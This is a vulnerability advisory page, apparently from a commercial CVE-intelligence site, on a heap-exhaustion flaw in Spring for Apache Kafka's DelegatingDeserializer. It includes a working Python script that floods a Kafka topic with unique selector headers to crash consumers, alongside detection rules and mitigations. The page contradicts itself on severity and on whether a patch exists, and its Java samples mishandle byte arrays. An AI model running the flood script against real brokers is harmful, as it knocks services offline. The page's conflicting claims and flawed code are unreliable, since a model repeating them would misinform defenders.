☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Spring logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-41726

CVE-2026-41726 Denial of Service in Spring
📅 PUBLISHED: 2026-06-10 00:16 UTC 🔄 UPDATED: 2026-09-23 20:26 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-41726 is a critical resource exhaustion vulnerability in the Spring for Apache Kafka framework. The flaw resides in the DelegatingDeserializer component, which is used to dynamically select a deserializer based on a Kafka record header (spring.kafka.serialization.selector). When an application opts into this feature, an unauthenticated attacker can send a continuous stream of Kafka records, each with a unique and random value in the spring.kafka.serialization.selector header. This causes the consumer to allocate new deserializer instances for each unique header value, leading to unbounded heap growth, garbage collection thrashing, and ultimately an OutOfMemoryError (OOM). The vulnerability affects all supported branches of Spring for Apache Kafka from 2.8.0 through 4.0.5.

Affected Ecosystem: Java / Spring Framework (Maven/Gradle packages: spring-kafka)

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is present in the official spring-kafka Maven artifact. Organizations using Spring Boot with Kafka integration are at risk if they have enabled DelegatingDeserializer (e.g., via spring.kafka.consumer.value-deserializer=org.springframework.kafka.support.serializer.DelegatingDeserializer). The package is distributed via Maven Central and is a transitive dependency for many Spring Boot applications. There is no known patch at the time of this report, making this a zero-day supply chain risk.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector: Network (AV:N) – The attacker can send malicious Kafka records over the network.
  • Attack Complexity: Low (AC:L) – No special conditions required; sending crafted records is straightforward.
  • Privileges Required: None (PR:N) – No authentication needed to produce to the Kafka topic.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerability only affects the vulnerable component.
  • Confidentiality Impact: None (C:N) – No data exposure.
  • Integrity Impact: None (I:N) – No data corruption.
  • Availability Impact: High (A:H) – Complete denial of service via OOM.

Threat Level: High for applications using DelegatingDeserializer in production. The attack is trivial to execute and requires no authentication to the Kafka broker (if the broker allows unauthenticated produce). The impact is a full application crash.

Deep Dive & Mechanics

The DelegatingDeserializer is a feature in Spring for Apache Kafka that allows a consumer to dynamically select a deserializer based on a Kafka record header. The header key is spring.kafka.serialization.selector, and its value is used to look up a deserializer from a configured map.

Vulnerable Code Path:

  1. The consumer receives a Kafka record.
  2. The DelegatingDeserializer.deserialize() method is called.
  3. It reads the spring.kafka.serialization.selector header from the record.
  4. It uses this header value as a key to retrieve a deserializer from an internal ConcurrentHashMap.
  5. If the key does not exist, it creates a new deserializer instance (or throws an error, depending on configuration) and caches it.

The Flaw: The cache is unbounded. An attacker can send records with unique, random header values (e.g., UUIDs). Each unique value causes a new entry in the cache. Over time, the cache grows without limit, consuming heap memory. The JVM will eventually trigger garbage collection (GC) more frequently, leading to GC thrash and finally an OutOfMemoryError.

Why it's dangerous:

  • No rate limiting or cache eviction policy.
  • The attacker does not need to send large payloads; only small records with unique headers.
  • The attack can be sustained over time, gradually degrading performance until crash.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

public class DelegatingDeserializer implements Deserializer<Object> {
    private final Map<String, Deserializer<?>> deserializers = new ConcurrentHashMap<>();

    @Override
    public Object deserialize(String topic, Headers headers, byte[] data) {
        String selector = headers.lastHeader("spring.kafka.serialization.selector").value().toString();
        Deserializer<?> deserializer = deserializers.computeIfAbsent(selector, key -> {
            // Create new deserializer based on key
            return createDeserializer(key);
        });
        return deserializer.deserialize(topic, headers, data);
    }
}

Patched Code (Expected Fix):

public class DelegatingDeserializer implements Deserializer<Object> {
    private final Map<String, Deserializer<?>> deserializers = new ConcurrentHashMap<>();
    private final int maxCacheSize = 1000; // Configurable limit

    @Override
    public Object deserialize(String topic, Headers headers, byte[] data) {
        String selector = headers.lastHeader("spring.kafka.serialization.selector").value().toString();
        Deserializer<?> deserializer = deserializers.get(selector);
        if (deserializer == null) {
            if (deserializers.size() >= maxCacheSize) {
                throw new DeserializationException("Deserializer cache full");
            }
            deserializer = createDeserializer(selector);
            deserializers.put(selector, deserializer);
        }
        return deserializer.deserialize(topic, headers, data);
    }
}

The fix would introduce a maximum cache size and reject new unique selectors once the limit is reached.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Access to a Kafka topic that the vulnerable consumer subscribes to.
  • Ability to produce messages to that topic (no authentication required if broker allows).

Attack Script (Python using kafka-python):

from kafka import KafkaProducer
import uuid

producer = KafkaProducer(bootstrap_servers='target:9092')

topic = 'vulnerable-topic'
while True:
    # Generate a unique random header value
    unique_header = str(uuid.uuid4())
    # Send a small payload with the malicious header
    future = producer.send(topic, 
                           value=b'payload',
                           headers=[('spring.kafka.serialization.selector', unique_header.encode())])
    # Optionally, add a small delay to avoid overwhelming the network
    # time.sleep(0.01)

Expected Outcome: The consumer's heap will grow linearly with the number of unique headers sent. After thousands of unique headers, the consumer will experience GC thrash and eventually crash with OutOfMemoryError.

Blue Team (Defense & Detection)

Mitigation Steps:

  1. Disable DelegatingDeserializer if not required. Use a fixed deserializer instead.
  2. Apply rate limiting at the Kafka broker level (e.g., max.message.bytes, message.max.count).
  3. Monitor heap usage and set alerts for rapid growth.
  4. Use a custom deserializer that implements caching with a bounded size (e.g., using Guava Cache with eviction).
  5. Upgrade to a patched version once available.

Detection:

  • Monitor Kafka consumer logs for repeated DeserializationException or OutOfMemoryError.
  • Track the number of unique spring.kafka.serialization.selector header values seen over time.

Indicators of Compromise (IOCs)

  • Network: High volume of Kafka produce requests to a single topic with small payloads and unique spring.kafka.serialization.selector headers.
  • Host: JVM heap dumps showing a large number of Deserializer instances in memory.
  • Logs: Repeated OutOfMemoryError or java.lang.OutOfMemoryError: Java heap space in application logs.
  • Metrics: Sudden increase in GC activity (e.g., GC pause time, frequency) and heap usage.

Detection Engineering

YARA Rule

rule CVE_2026_41726_Spring_Kafka_DelegatingDeserializer {
    meta:
        description = "Detects heap dumps or logs indicating unbounded DelegatingDeserializer cache"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-41726"
    strings:
        $s1 = "DelegatingDeserializer" nocase
        $s2 = "spring.kafka.serialization.selector" nocase
        $s3 = "OutOfMemoryError" nocase
        $s4 = "Java heap space" nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2026-41726 - Spring Kafka DelegatingDeserializer Heap Exhaustion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OutOfMemoryError in Spring Kafka applications using DelegatingDeserializer
author: Valters IT
date: 2026-01-01
logsource:
    category: application
    product: java
detection:
    selection:
        EventID: 1001
        Message|contains: 'OutOfMemoryError'
    filter:
        Message|contains: 'DelegatingDeserializer'
    condition: selection and filter
falsepositives:
    - Other OOM errors unrelated to this CVE
level: high

Suricata Rule

alert tcp any any -> any 9092 (msg:"CVE-2026-41726 Spring Kafka DelegatingDeserializer Attack"; flow:to_server; content:"spring.kafka.serialization.selector"; nocase; pcre:"/spring\.kafka\.serialization\.selector\x00[^\x00]{36,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable DelegatingDeserializer in your Spring Kafka consumer configuration. Use a specific deserializer (e.g., JsonDeserializer, StringDeserializer) instead.
  2. If DelegatingDeserializer is required, implement a custom wrapper that limits the cache size (e.g., using LinkedHashMap with removeEldestEntry).
  3. Apply network-level controls to restrict which producers can send to your Kafka topics (e.g., ACLs, SASL authentication).

Long-term Fix:

  • Monitor the Spring project for an official patch. Once available, upgrade to the patched version (e.g., 4.0.6, 3.3.16, etc.).
  • Consider using a static deserializer or a whitelist of allowed header values.

Workaround Code (Custom Bounded Deserializer):

public class BoundedDelegatingDeserializer implements Deserializer<Object> {
    private final Map<String, Deserializer<?>> cache = new LinkedHashMap<String, Deserializer<?>>(100, 0.75f, true) {
        @Override
        protected boolean removeEldestEntry(Map.Entry<String, Deserializer<?>> eldest) {
            return size() > 1000; // Max 1000 entries
        }
    };

    @Override
    public Object deserialize(String topic, Headers headers, byte[] data) {
        String selector = headers.lastHeader("spring.kafka.serialization.selector").value().toString();
        return cache.computeIfAbsent(selector, key -> createDeserializer(key))
                    .deserialize(topic, headers, data);
    }
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-41726/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.